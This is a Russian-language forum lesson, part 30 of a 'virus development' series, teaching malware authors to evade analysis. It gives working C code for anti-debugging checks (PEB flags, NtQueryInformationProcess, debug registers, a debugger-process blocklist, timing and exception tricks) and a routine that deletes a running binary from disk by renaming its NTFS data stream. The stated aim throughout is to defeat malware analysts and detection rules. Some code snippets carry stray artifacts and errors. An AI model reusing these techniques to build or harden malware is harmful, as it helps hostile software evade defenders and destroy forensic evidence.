Уроки Разработка вирусов-30.Черпаем силы в антиотладке


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 094
Репутация
8 212
1696439834501.png


Техники антианализа - это методы, предотвращающие деятельность специалистов по безопасности (например, команды blue team) по расследованию вредоносного ПО и поиску статических или динамических сигнатур и IoC. Поскольку эта информация используется для обнаружения образца, когда он вновь обнаруживается в среде.

Организации с большим бюджетом на безопасность, как правило, имеют больше сотрудников, таких как аналитики вредоносных программ, чтобы собирать данные о подозрительных бинарных файлах, анализируя их. В целом, аналитики вредоносных программ всегда найдут способ декомпилировать вредоносное ПО, поэтому цель техник антианализа - усложнить процесс анализа.

С другой стороны, организации с меньшим бюджетом на безопасность будут больше полагаться на автоматизированные инструменты, и поэтому техники антианализа могут быть более эффективными в достижении своей цели.

Рассмотрим инструменты анализа вредоносных программ:

Песочничные среды

Понимание песочничной среды жизненно важно, если вы хотите применять сильные техники антианализа.

Песочница - это изолированная среда, позволяющая выполнять программное обеспечение без воздействия на хост-систему. У песочниц есть несколько применений вне контекста безопасности, которые обсуждаться не будут.

В контексте безопасности песочницы позволяют исследователям безопасности анализировать вредоносное ПО в изолированной среде без ущерба для хоста. Несколько примеров песочниц: Cuckoo Sandbox, Any.run и Crowdstrike Sandbox.

Анализ через отладку

Отладка кода вредоносного ПО позволяет выполнять его шаг за шагом, наблюдая за изменениями в области памяти, изменениями значений переменных и т. д. Это способствует лучшему пониманию намерений и возможностей вредоносного ПО, упрощая процесс создания правил обнаружения для бинарного файла в вопросе.

Техники антиотладки можно использовать для обнаружения наличия отладчика и изменения потока выполнения для запуска безвредного ложного кода, делая процесс отладки неэффективным. Кроме того, может быть завершено выполнение текущего кода, чтобы предотвратить отладку.

Инструменты реверс-инжиниринга вредоносного ПО

Самые популярные инструменты реверс-инжиниринга для вредоносного ПО перечислены ниже:

Ghidra;
Ida;
xdbg

Анализ через виртуальные среды


Виртуальные среды - это изолированные среды, предоставляющие виртуализированную среду для работы программных приложений. Виртуализированные среды используются для изолирования процесса отладки и анализа образцов вредоносного ПО, делая его безопаснее для анализа, чем в реальных сетях.

Песочницы также считаются виртуальной средой, хотя они не позволяют аналитикам вредоносных программ иметь полный доступ к операционной системе, тогда как полноценная виртуальная среда позволяет. Два распространенных программных обеспечения для виртуализации: VMware и VirtualBox.

Выполнение вредоносного кода в виртуальной среде должно быть избегаемо, так как это позволяет аналитикам вредоносных программ разбирать код и писать правила обнаружения для него.

Техники против виртуальных сред будет обсуждаться в следующей статье

Давайте рассмотрим несколько методов анти-отладки:

Обнаружение отладчиков с использованием IsDebuggerPresent


Один из самых простых методов анти-отладки - использование функции WinAPI IsDebuggerPresent. Эта функция возвращает TRUE, если к вызывающему процессу подключен отладчик, и FALSE, если нет. Ниже приведен фрагмент кода, показывающий использование функции для обнаружения отладчика.

C:
if (IsDebuggerPresent()) {
  printf("[i] IsDebuggerPresent обнаружил отладчик \n");
  // Запустить безопасный код..
}

Замена функции IsDebuggerPresent

Вызов функции IsDebuggerPresent WinAPI подозрителен даже в том случае, если он хорошо скрыт через хеширование API. WinAPI считается очень базовым способом обнаружения отладчиков и может быть обойден с помощью инструментов, таких как ScyllaHide, который является плагином для xdbg, предназначенным для обхода анти-отладки.

Более эффективным подходом является создание пользовательской версии функции IsDebuggerPresent WinAPI. Напомним о структуре PEB (Process Environment Block), которая содержит член BeingDebugged, устанавливаемый в 1, когда процесс находится в режиме отладки.
Простая замена функции IsDebuggerPresent WinAPI включает в себя проверку значения BeingDebugged, как показано в пользовательской функции ниже.

Функция IsDebuggerPresent2 возвращает TRUE, если элемент BeingDebugged установлен в 1.

C:
BOOL IsDebuggerPresent2() {

  // Получение структуры PEB
#ifdef _WIN64
    PPEB                    pPeb = (PEB*)(__readgsqword(0x60));
#elif _WIN32
    PPEB                    pPeb = (PEB*)(__readfsdword(0x30));
#endif// Проверка элемента 'BeingDebugged'
  if (pPeb->BeingDebugged == 1)
    return TRUE;

   return FALSE;
}

Другой способ создания пользовательской версии функции IsDebuggerPresent WinAPI заключается в использовании неудокументированного флага NtGlobalFlag, который также находится в структуре PEB. Элемент NtGlobalFlag устанавливается в 0x70 (шестнадцатеричное значение), если процесс находится в режиме отладки, в противном случае он равен 0. Важно отметить, что элемент NtGlobalFlag устанавливается в 0x70 только при создании процесса отладчиком. Поэтому этот метод не сможет обнаружить отладчик, если он был подключен после запуска.

Значение 0x70 происходит из комбинации следующих флагов:

FLG_HEAP_ENABLE_TAIL_CHECK - 0x10
FLG_HEAP_ENABLE_FREE_CHECK - 0x20
FLG_HEAP_VALIDATE_PARAMETERS - 0x40

Функция IsDebuggerPresent3 возвращает TRUE, если элемент NtGlobalFlag установлен в 0x70.

C:
#define FLG_HEAP_ENABLE_TAIL_CHECK   0x10#define FLG_HEAP_ENABLE_FREE_CHECK   0x20#define FLG_HEAP_VALIDATE_PARAMETERS 0x40

BOOL IsDebuggerPresent3() {

  // Получение структуры PEB
#ifdef _WIN64
    PPEB                    pPeb = (PEB*)(__readgsqword(0x60));
#elif _WIN32
    PPEB                    pPeb = (PEB*)(__readfsdword(0x30));
#endif// Проверка элемента 'NtGlobalFlag'
  if (pPeb->NtGlobalFlag == (FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK | FLG_HEAP_VALIDATE_PARAMETERS))
    return TRUE;

  return FALSE;
}

Обнаружение отладчика с использованием NtQueryInformationProcess

Системный вызов NtQueryInformationProcess будет использоваться для обнаружения отладчиков с помощью двух флагов: ProcessDebugPort и ProcessDebugObjectHandle.

Напомним, что NtQueryInformationProcess выглядит следующим образом:

C:
NTSTATUS NtQueryInformationProcess(
  IN    HANDLE           ProcessHandle,               // Дескриптор процесса, для которого необходимо получить информацию.
  IN    PROCESSINFOCLASS ProcessInformationClass,     // Тип запрашиваемой информации о процессе.
  OUT   PVOID            ProcessInformation,          // Указатель на буфер, в который функция записывает запрошенную информацию.
  IN    ULONG            ProcessInformationLength,    // Размер буфера, указанного в параметре 'ProcessInformation'.
  OUT   PULONG           ReturnLength                 // Указатель на переменную, в которой функция возвращает размер запрошенной информации.
);

Флаг ProcessDebugPort

Документация Microsoft о флаге ProcessDebugPort гласит следующее:

Получает значение типа DWORD_PTR, которое представляет номер порта отладчика для процесса. Ненулевое значение указывает, что процесс выполняется под управлением отладчика уровня 3.

Другими словами, если NtQueryInformationProcess возвращает ненулевое значение, полученное через параметр ProcessInformation, то процесс активно отлаживается.

Флаг ProcessDebugObjectHandle

Неудокументированный флаг ProcessDebugObjectHandle работает аналогично флагу ProcessDebugPort и используется для получения дескриптора объекта отладки текущего процесса, который создается, если процесс находится в режиме отладки.
Если NtQueryInformationProcess не удается получить дескриптор объекта отладки, это означает, что он не обнаружил отладчик, и функция вернет код ошибки 0xC0000353. Согласно документации Microsoft о значениях NTSTATUS, код ошибки эквивалентен STATUS_PORT_NOT_SET.

Код антиотладки

NtQueryInformationProcess


Функция NtQIPDebuggerCheck использует как ProcessInformation, так и ProcessDebugObjectHandle для обнаружения отладчиков. Функция возвращает TRUE, если NtQueryInformationProcess возвращает действительный дескриптор, используя оба флага ProcessDebugPort и ProcessDebugObjectHandle.

C:
BOOL NtQIPDebuggerCheck() {

    NTSTATUS                      STATUS                        = NULL;
    fnNtQueryInformationProcess   pNtQueryInformationProcess    = NULL;
    DWORD64                       dwIsDebuggerPresent           = NULL;
    DWORD64                       hProcessDebugObject           = NULL;

    // Получение адреса NtQueryInformationProcess
    pNtQueryInformationProcess = (fnNtQueryInformationProcess)GetProcAddress(GetModuleHandle(TEXT("NTDLL.DLL")), "NtQueryInformationProcess");
    if (pNtQueryInformationProcess == NULL) {
        printf("\t[!] GetProcAddress завершилось с ошибкой: %d \n", GetLastError());
        return FALSE;
    }

    // Вызов NtQueryInformationProcess с флагом 'ProcessDebugPort'
    STATUS = pNtQueryInformationProcess(
        GetCurrentProcess(),
        ProcessDebugPort,
        &dwIsDebuggerPresent,
        sizeof(DWORD64),
        NULL
    );

    if (STATUS != 0x0) {
        printf("\t[!] NtQueryInformationProcess [1] завершилось с кодом статуса: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    // Если NtQueryInformationProcess возвращает ненулевое значение, дескриптор действителен, что означает, что мы находимся в режиме отладки
    if (dwIsDebuggerPresent != NULL) {
        // обнаружен отладчик
        return TRUE;
    }

    // Вызов NtQueryInformationProcess с флагом 'ProcessDebugObjectHandle'
    STATUS = pNtQueryInformationProcess(
        GetCurrentProcess(),
        ProcessDebugObjectHandle,
        &hProcessDebugObject,
        sizeof(DWORD64),
        NULL
    );

    // Если STATUS не равен 0 и не равен 0xC0000353 (это 'STATUS_PORT_NOT_SET')
    if (STATUS != 0x0 && STATUS != 0xC0000353) {
        printf("\t[!] NtQueryInformationProcess [2] завершилось с кодом статуса: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    // Если NtQueryInformationProcess возвращает ненулевое значение, дескриптор действителен, что означает, что мы находимся в режиме отладки
    if (hProcessDebugObject != NULL) {
        // обнаружен отладчик
        return TRUE;
    }

    return FALSE;
}

Обнаружение отладчика с использованием аппаратных точек останова

Этот метод действителен только в том случае, если во время отладки установлены аппаратные точки останова. Аппаратные точки останова, также известные как регистры аппаратной отладки, являются функцией современных микропроцессоров, которая приостанавливает выполнение процесса при срабатывании определенного адреса памяти или события. Аппаратные точки останова реализованы в самом процессоре и, следовательно, более быстры и эффективны, чем обычные программные точки останова, которые зависят от операционной системы или отладчика для периодической проверки выполнения программы.

Когда устанавливаются аппаратные точки останова, изменяются значения определенных регистров. Значения этих регистров можно использовать для определения, подключен ли отладчик к процессу. Если регистры Dr0, Dr1, Dr2 и Dr3 содержат ненулевое значение, то аппаратная точка останова установлена. В следующем примере устанавливается аппаратная точка останова на системный вызов NtAllocateVirtualMemory с использованием отладчика xdbg. Обратите внимание, как значение Dr0 изменяется с нуля на адрес NtAllocateVirtualMemory.

1696441269860.png


1696441285060.png


1696441300329.png


Получение значений регистров

Для получения значений регистров Dr можно использовать функцию WinAPI GetThreadContext.
Функция возвращает контекст в виде структуры CONTEXT. Эта структура также включает в себя значения регистров Dr0, Dr1, Dr2 и Dr3.

Функция HardwareBpCheck обнаруживает наличие отладчика путем проверки значений вышеуказанных регистров.
Функция возвращает TRUE, если обнаружен отладчик.

C:
BOOL HardwareBpCheck() {

    CONTEXT        Ctx        = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };

    if (!GetThreadContext(GetCurrentThread(), &Ctx)) {
        printf("\t[!] GetThreadContext не удалось : %d \n", GetLastError());
        return FALSE;
    }

    if (Ctx.Dr0 != NULL || Ctx.Dr1 != NULL || Ctx.Dr2 != NULL || Ctx.Dr3 != NULL)
        return TRUE; // Обнаружен отладчик

    return FALSE;
}

Обнаружение отладчика с использованием черного списка процессов

Другой способ обнаружения процессов в режиме отладки заключается в проверке имен текущих выполняющихся процессов по списку известных имен отладчиков. Этот "черный список" имен хранится в жестко закодированном массиве. Если происходит совпадение между именем процесса и списком запретных имен, то на системе работает приложение отладчика.

Перечисление процессов, выполняющихся на компьютере, можно осуществить с использованием любого из рассмотренных ранее методов. В данном случае будет использован метод перечисления процессов CreateToolhelp32Snapshot.

Массив черного списка представлен следующим образом:

C:
#define BLACKLISTARRAY_SIZE 5 // Количество элементов в массиве

WCHAR* g_BlackListedDebuggers[BLACKLISTARRAY_SIZE] = {
        L"x64dbg.exe",                 // Отладчик xdbg
        L"ida.exe",                    // Дизассемблер IDA
        L"ida64.exe",                  // Дизассемблер IDA
        L"VsDebugConsole.exe",         // Отладчик Visual Studio
        L"msvsmon.exe"                 // Отладчик Visual Studio
};

Массив черного списка должен содержать как можно больше имен отладчиков, чтобы обнаружить широкий спектр отладчиков. Кроме того, строки должны быть обфусцированы с использованием хеширования строк, так как имена отладчиков в бинарном файле могут быть использованы как индикаторы компрометации.

Функция BlackListedProcessesCheck использует массив процессов g_BlackListedDebuggers в качестве массива запретных процессов. Она возвращает TRUE в случае совпадения имени процесса с элементом g_BlackListedDebuggers.

C:
BOOL BlackListedProcessesCheck() {

    HANDLE                hSnapShot        = NULL;
    PROCESSENTRY32W        ProcEntry        = { .dwSize = sizeof(PROCESSENTRY32W) };
    BOOL                bSTATE            = FALSE;


    hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    if (hSnapShot == INVALID_HANDLE_VALUE) {
        printf("\t[!] CreateToolhelp32Snapshot не удалось : %d \n", GetLastError());
        goto _EndOfFunction;
    }

    if (!Process32FirstW(hSnapShot, &ProcEntry)) {
        printf("\t[!] Process32FirstW не удалось : %d \n", GetLastError());
        goto _EndOfFunction;
    }

    do {
        // Перебирает массив 'g_BlackListedDebuggers' и сравнивает каждый элемент с текущим именем процесса, полученным из снимка
        for (int i = 0; i < BLACKLISTARRAY_SIZE; i++){
            if (wcscmp(ProcEntry.szExeFile, g_BlackListedDebuggers[i]) == 0) {
                // Обнаружен отладчик
                wprintf(L"\t[i] Найден \"%s\" с PID : %d \n", ProcEntry.szExeFile, ProcEntry.th32ProcessID);
                bSTATE = TRUE;
                break;
            }
        }

    } while (Process32Next(hSnapShot, &ProcEntry));


_EndOfFunction:
    if (hSnapShot != NULL)
        CloseHandle(hSnapShot);
    return bSTATE;
}

Обнаружение точек останова с использованием GetTickCount64

Точки останова используются для приостановки выполнения программы в определенной точке, что позволяет провести анализ памяти, состояния регистров, переменных и многого другого.

Приостановку выполнения можно обнаружить с использованием WinAPI GetTickCount64. Эта функция получает количество миллисекунд, прошедших с момента запуска системы. Анализ времени, затраченного процессором между двумя вызовами GetTickCount64, может указать, выполняется ли отладка вредоносного программного обеспечения. Если время превышает ожидаемое, то можно предположить, что вредоносное программное обеспечение отлаживается.

Обнаружение задержек точки останова можно обнаружить, вычислив среднее значение T1 - T0 и сохраняя его как жестко закодированное значение. Если разница между T1 и T0 превышает это значение, то задержка, скорее всего, вызвана точкой останова. Например, если разница между T1 - T0 на хост-машине составляет 20 секунд, но на выполнение требуется больше времени, то существует сильная вероятность, что задержка между этими двумя точками вызвана точкой останова. Исходное значение следует немного увеличить, чтобы учесть медленные процессоры.

1696441914863.png


Код антидебаггинга с использованием GetTickCount64

Функция TimeTickCheck определяет, выполняется ли отладка вредоносного программного обеспечения, путем анализа разницы между двумя вызовами GetTickCount64. Если разница больше заданного порога, то считается, что происходит отладка.

Код:
DWORD64 TimeTickCheck() {

    DWORD64 T0 = 0;
    DWORD64 T1 = 0;

    // Запомнить начальное время
    T0 = GetTickCount64();

    // Выполнить некоторые действия, которые могут быть остановлены точкой останова

    // Получить время после выполнения действий
    T1 = GetTickCount64();

    // Вычислить разницу
    DWORD64 TimeDiff = T1 - T0;

    return TimeDiff;
}

Обнаружение точек останова с использованием QueryPerformanceCounter

Функция QueryPerformanceCounter WinAPI аналогична ранее рассмотренной функции GetTickCount64 WinAPI. Разница заключается в том, что QueryPerformanceCounter использует высокоразрешающий счетчик производительности, предоставляемый аппаратным обеспечением, который может измерять время с точностью до наносекунд, в то время как GetTickCount64 использует счетчик времени, увеличивающийся каждую миллисекунду. Обратите внимание, что функция QueryPerformanceCounter извлекает значение счетчика производительности в единицах счета, а не в миллисекундах.

Функция TimeTickCheck2 использует функцию QueryPerformanceCounter WinAPI для обнаружения точек останова. Она возвращает TRUE, если разница между Time2.QuadPart и Time1.QuadPart превышает среднее значение выполнения кода между этими моментами, которое составляет 100000 единиц счета.

C:
BOOL TimeTickCheck2() {

    LARGE_INTEGER    Time1    = { 0 },
                    Time2    = { 0 };

    if (!QueryPerformanceCounter(&Time1)) {
        printf("\t[!] QueryPerformanceCounter [1] Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

/*
    ДРУГОЙ КОД
*/

    if (!QueryPerformanceCounter(&Time2)) {
        printf("\t[!] QueryPerformanceCounter [2] Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    printf("\t[i] (Time2.QuadPart - Time1.QuadPart) : %d \n", (Time2.QuadPart - Time1.QuadPart));

    if ((Time2.QuadPart - Time1.QuadPart) > 100000){
        return TRUE;
    }

    return FALSE;
}

Обнаружение отладчика с использованием DebugBreak

Функция DebugBreak вызывает исключение точки останова, EXCEPTION_BREAKPOINT, в текущем процессе. Это исключение должно быть обработано отладчиком, если он подключен к текущему процессу. Техника заключается в вызове исключения и проверке того, попытается ли отладчик его обработать.

Для обработки исключения из вызова DebugBreak используется блок кода с использованием __try и __except, и функция GetExceptionCode используется для извлечения кода исключения. В этом случае существует два возможных сценария:
  1. Если извлеченное исключение равно EXCEPTION_BREAKPOINT, то выполняется EXCEPTION_EXECUTE_HANDLER, что означает, что исключение не было обработано отладчиком.
  2. Если исключение не равно EXCEPTION_BREAKPOINT, что означает, что отладчик обработал возникшее исключение (и не наш блок try-except), то выполняется EXCEPTION_CONTINUE_SEARCH, что заставляет отладчик обрабатывать возникшее исключение.
Функция DebugBreakCheck возвращает FALSE, если функция DebugBreak WinAPI успешно выполнилась и исключение не было перехвачено/обработано отладчиком, а вместо этого обработано нашим блоком try-except, что указывает на то, что к текущему процессу не подключен отладчик.

C:
BOOL DebugBreakCheck() {

    __try {
        DebugBreak();
    }
    __except (GetExceptionCode() == EXCEPTION_BREAKPOINT ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) {
        // если исключение равно EXCEPTION_BREAKPOINT, то выполняется EXCEPTION_EXECUTE_HANDLER, и функция возвращает FALSE
        return FALSE;
    }

    // если исключение не равно EXCEPTION_BREAKPOINT, то выполняется EXCEPTION_CONTINUE_SEARCH, и функция возвращает TRUE
    return TRUE;
}

Обнаружение отладчика с использованием OutputDebugString

Еще одним WinAPI, который можно использовать для обнаружения отладчиков, является OutputDebugString. Эта функция используется для отправки строки в отладчик для отображения. Если отладчик существует, то OutputDebugString успешно выполняет свою задачу.

Можно выполнить OutputDebugString и проверить, не произошла ли ошибка, используя GetLastError. Если произошла ошибка, то GetLastError вернет ненулевой код ошибки. Ненулевое значение кода ошибки в данном случае эквивалентно отсутствию отладчика. Если GetLastError возвращает ноль, это означает, что OutputDebugString успешно отправил строку отладчику.

Функция OutputDebugStringCheck использует вышеуказанную логику и возвращает TRUE, если функция OutputDebugStringW выполнена успешно. Кроме того, она использует SetLastError для установки значения последней ошибки в 1. Это делается просто для того, чтобы убедиться, что это ненулевое значение перед вызовом OutputDebugString, чтобы уменьшить количество ложных срабатываний.

C:
BOOL OutputDebugStringCheck() {

    SetLastError(1);
    OutputDebugStringW(L"Ru-sfera is debug");

    // если GetLastError равно 0, то OutputDebugStringW выполнен успешно
    if (GetLastError() == 0) {
        return TRUE;
    }

    return FALSE;
}

Обнаружение отладчика с использованием проверки ошибок

Проверка ошибок - это метод антидебаггинга, который пытается найти следы работы отладчика в коде программы. Когда отладчик остановит выполнение программы на точке останова или приостановит ее для анализа, он будет внедрять свой код и использовать свои собственные средства для управления выполнением. Это может привести к появлению дополнительных ошибок в программе, которые обычно не возникают в нормальном режиме выполнения.

Обнаружение таких ошибок может помочь выявить наличие отладчика. Примеры ошибок, которые можно проверить, включают:
  1. Division by zero (деление на ноль).
  2. Null pointer dereference (разыменование нулевого указателя).
  3. Access violation (нарушение доступа к памяти).
  4. Invalid instruction (недопустимая инструкция).
Искусственное создание и обнаружение таких ошибок может быть частью стратегии анти-дебаггинга в вредоносном программном обеспечении.

Важно отметить, что этот метод не всегда надежен, так как ошибки могут возникать и в нормальных условиях выполнения программы. Поэтому он должен использоваться в сочетании с другими методами антидебаггинга для более надежной защиты.

Самоудаление вируса.)

Выше обсуждались несколько техник, которые могут помешать исследователям и аналитикам вредоносных программ изучать вредоносное программное обеспечение и предотвращать понимание его функциональности или создание сигнатур. Теперь предлагаю рассмотреть продвинутую технику анти-отладки, которая работает путем автоматического удаления самого вредоносного программного обеспечения.

Файловая система NTFS

Прежде чем погрузиться в самоудаление, важно понять, как работает файловая система New Technology File System (NTFS). NTFS - это собственная файловая система, реализованная в качестве основной файловой системы для операционной системы Windows. Она превосходит своих предшественников, FAT и exFAT, предлагая такие функции, как разрешения на файлы и папки, сжатие, шифрование, жесткие ссылки, символические ссылки и транзакционные операции. NTFS также обеспечивает увеличенную надежность, производительность и масштабируемость.

Файловая система NTFS также поддерживает альтернативные потоки данных. Файлы в файловых системах NTFS могут иметь несколько потоков данных, кроме потока данных по умолчанию, :$DATA. :$DATA существует для каждого файла, предоставляя альтернативный способ доступа к ним.

Удаление выполняющегося двоичного файла

На Windows невозможно удалить текущий выполняющийся двоичный файл, так как для удаления файла обычно требуется, чтобы ни один другой процесс не использовал его. На изображении ниже показана неудачная попытка удаления папки "Release" при наличии открытого файла внутри этой папки.

1696443044683.png


Еще одним примером является использование функции DeleteFile WinAPI, которая удаляет существующий файл. Функция DeleteFile WinAPI завершается с ошибкой ERROR_ACCESS_DENIED.

1696443068705.png


Один из способов обойти это - переименовать поток данных по умолчанию :$DATA в другое случайное имя, которое представляет собой новый поток данных. После этого удаление только что переименованного потока данных приведет к стиранию двоичного файла с диска, даже если он все еще выполняется.

Получение дескриптора файла

Первым шагом процесса является получение дескриптора целевого файла, который представляет собой файл локальной реализации. Дескриптор файла можно получить с помощью функции CreateFile WinAPI. Флаг доступа должен быть установлен в DELETE, чтобы предоставить разрешения на удаление файла.

Переименование потока данных

Следующим шагом для удаления выполняющегося двоичного файла является переименование потока данных :$DATA. Это можно сделать с помощью функции SetFileInformationByHandle WinAPI с флагом FileRenameInfo.

Функция SetFileInformationByHandle WinAPI показана ниже.

C:
BOOL SetFileInformationByHandle(
[in] HANDLE hFile, // Дескриптор файла, для которого изменяется информация.
[in] FILE_INFO_BY_HANDLE_CLASS FileInformationClass, // Значение флага, указывающее тип информации, которую нужно изменить
[in] LPVOID lpFileInformation, // Указатель на буфер, содержащий информацию для изменения
[in] DWORD dwBufferSize // Размер буфера 'lpFileInformation' в байтах
);

Параметр FileInformationClass должен быть значением перечисления FILE_INFO_BY_HANDLE_CLASS.

Когда параметр FileInformationClass установлен в FileRenameInfo, то lpFileInformation должен быть указателем на структуру FILE_RENAME_INFO, как показано в следующем изображении

1696443193345.png


Структура FILE_RENAME_INFO показана ниже.

C:
typedef struct _FILE_RENAME_INFO {
union {
BOOLEAN ReplaceIfExists;
DWORD Flags;
} DUMMYUNIONNAME;
BOOLEAN ReplaceIfExists;
HANDLE RootDirectory;
DWORD FileNameLength; // Размер 'FileName' в байтах
WCHAR FileName[1]; // Новое имя
} FILE_RENAME_INFO, *PFILE_RENAME_INFO;

Два члена, которые необходимо установить, - это FileNameLength и FileName. Документация Microsoft объясняет, как определить новое имя потока данных NTFS.

1696443286514.png


Следовательно, FileName должен быть строкой широких символов, начинающейся с двоеточия (:).

Удаление потока данных

Последним шагом является удаление потока данных :$DATA для стирания файла с диска. Для этого будет использоваться та же функция SetFileInformationByHandle WinAPI, но с другим флагом, FileDispositionInfo. Этот флаг помечает файл для удаления при закрытии его дескриптора. Это флаг, который использует Microsoft

Когда используется флаг FileDispositionInfo, lpFileInformation должен быть указателем на структуру FILE_DISPOSITION_INFO, как показано в следующем изображении

1696443382933.png


Структура FILE_DISPOSITION_INFO показана ниже.

C:
typedef struct _FILE_DISPOSITION_INFO {
BOOLEAN DeleteFile; // Установите в 'TRUE', чтобы пометить файл для удаления
} FILE_DISPOSITION_INFO, *PFILE_DISPOSITION_INFO;

Член DeleteFile должен просто быть установлен в TRUE для удаления файла.

Обновление потока данных файла

После вызова функции SetFileInformationByHandle в первый раз для переименования потока данных файла NTFS, дескриптор файла должен быть закрыт и затем снова открыт с помощью другого вызова функции CreateFile. Это делается для обновления потока данных файла, чтобы новый дескриптор содержал новый поток данных.

Заключительный код самоудаления

Функция DeleteSelf, показанная ниже, использует описанный процесс для удаления файла с диска во время его выполнения.

Весь код в следующем фрагменте был ранее объяснен, за исключением функции GetModuleFileNameW WinAPI. Эта функция используется для получения пути к файлу, содержащему указанный модуль. Если первый параметр установлен в NULL (как в приведенном ниже коде), то она получает путь к исполняемому файлу текущего процесса.

C:
// Новое имя потока данных
#define NEW_STREAM L":RuSfera"

BOOL DeleteSelf() {

scss
Copy code
WCHAR                       szPath [MAX_PATH * 2] = { 0 };
FILE_DISPOSITION_INFO       Delete                = { 0 };
HANDLE                      hFile                 = INVALID_HANDLE_VALUE;
PFILE_RENAME_INFO           pRename               = NULL;
const wchar_t*              NewStream             = (const wchar_t*)NEW_STREAM;
SIZE_T                      sRename               = sizeof(FILE_RENAME_INFO) + sizeof(NewStream);


// Выделение достаточного буфера для структуры 'FILE_RENAME_INFO'
pRename = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sRename);
if (!pRename) {
    printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
    return FALSE;
}

// Очистка некоторых структур
ZeroMemory(szPath, sizeof(szPath));
ZeroMemory(&Delete, sizeof(FILE_DISPOSITION_INFO));

//----------------------------------------------------------------------------------------
// Пометка файла для удаления (используется во 2-м вызове SetFileInformationByHandle)
Delete.DeleteFile = TRUE;

// Установка буфера нового имени потока данных и его размера в структуре 'FILE_RENAME_INFO'
pRename->FileNameLength = sizeof(NewStream);
RtlCopyMemory(pRename->FileName, NewStream, sizeof(NewStream));

//----------------------------------------------------------------------------------------

// Используется для получения текущего имени файла
if (GetModuleFileNameW(NULL, szPath, MAX_PATH * 2) == 0) {
    printf("[!] GetModuleFileNameW Failed With Error : %d \n", GetLastError());
    return FALSE;
}

//----------------------------------------------------------------------------------------
// ПЕРЕИМЕНОВАНИЕ

// Открытие дескриптора текущего файла
hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
    printf("[!] CreateFileW [R] Failed With Error : %d \n", GetLastError());
    return FALSE;
}

wprintf(L"[i] Renaming :$DATA to %s  ...", NEW_STREAM);

// Переименование потока данных
if (!SetFileInformationByHandle(hFile, FileRenameInfo, pRename, sRename)) {
    printf("[!] SetFileInformationByHandle [R] Failed With Error : %d \n", GetLastError());
    return FALSE;
}
wprintf(L"[+] DONE \n");

CloseHandle(hFile);

//----------------------------------------------------------------------------------------
// УДАЛЕНИЕ

// Открытие нового дескриптора текущего файла
hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
    printf("[!] CreateFileW [D] Failed With Error : %d \n", GetLastError());
    return FALSE;
}

wprintf(L"[i] DELETING ...");

// Пометка для удаления после закрытия дескриптора файла
if (!SetFileInformationByHandle(hFile, FileDispositionInfo, &Delete, sizeof(Delete))) {
    printf("[!] SetFileInformationByHandle [D] Failed With Error : %d \n", GetLastError());
    return FALSE;
}
wprintf(L"[+] DONE \n");

CloseHandle(hFile);

//----------------------------------------------------------------------------------------

// Освобождение выделенного буфера
HeapFree(GetProcessHeap(), 0, pRename);

return TRUE;
}

Демонстрация

На изображении ниже показан процесс SelfDeletion.exe, работающий, хотя двоичный файл был стерт с диска.

1696443766252.png
 
Последнее редактирование:
Автор темы Похожие темы Форум Ответы Дата
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 6
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 5
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 3
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
Похожие темы
Уроки Разработка вирусов-35.Обход EDRs.Последняя тема цикла
Уроки Разработка вирусов-34.Обход Windows defender
Уроки Разработка вирусов-33.Уменьшение вероятности детекта зверька
Уроки Разработка вирусов-32.Открываем врата ада
Уроки Разработка вирусов-31.Обход виртуальных машин
Уроки Разработка вирусов-29. Предельная техника-2. Практика. Реализуем техники инъекции через сисколы
Уроки Разработка вирусов-28. Предельная техника. Разборка с сисколами
Уроки Разработка вирусов-27.Кунгфу-2.Изучаем API Hooking
Уроки Разработка вирусов-26. Изучаем кунгфу-1. Скрытие таблицы импорта
Уроки Разработка вирусов-25. Скрытие строк
Уроки Разработка вирусов-24. Изучаем технику Spoofing
Уроки Разработка вирусов-23. Контроль выполнения полезной нагрузки
Уроки Разработка вирусов-22.Изучаем технику Stomping Injection
Уроки Разработка вирусов-21.Инъекция отображаемой памяти
Уроки Разработка вирусов-20.Вызов кода через функции обратного вызова
Уроки Разработка вирусов-19.Изучаем технику APC Injection
Уроки Разработка малвари-18.Определение PID нужного процесса, или перечисления процессов
Уроки Разработка вирусов-17.Изучаем технику Thread Hijacking
Уроки Разработка вирусов-16.Разборка с цифровой подписью зверька
Уроки Разработка вирусов-15. Прячем Payload в реестре
Верх Низ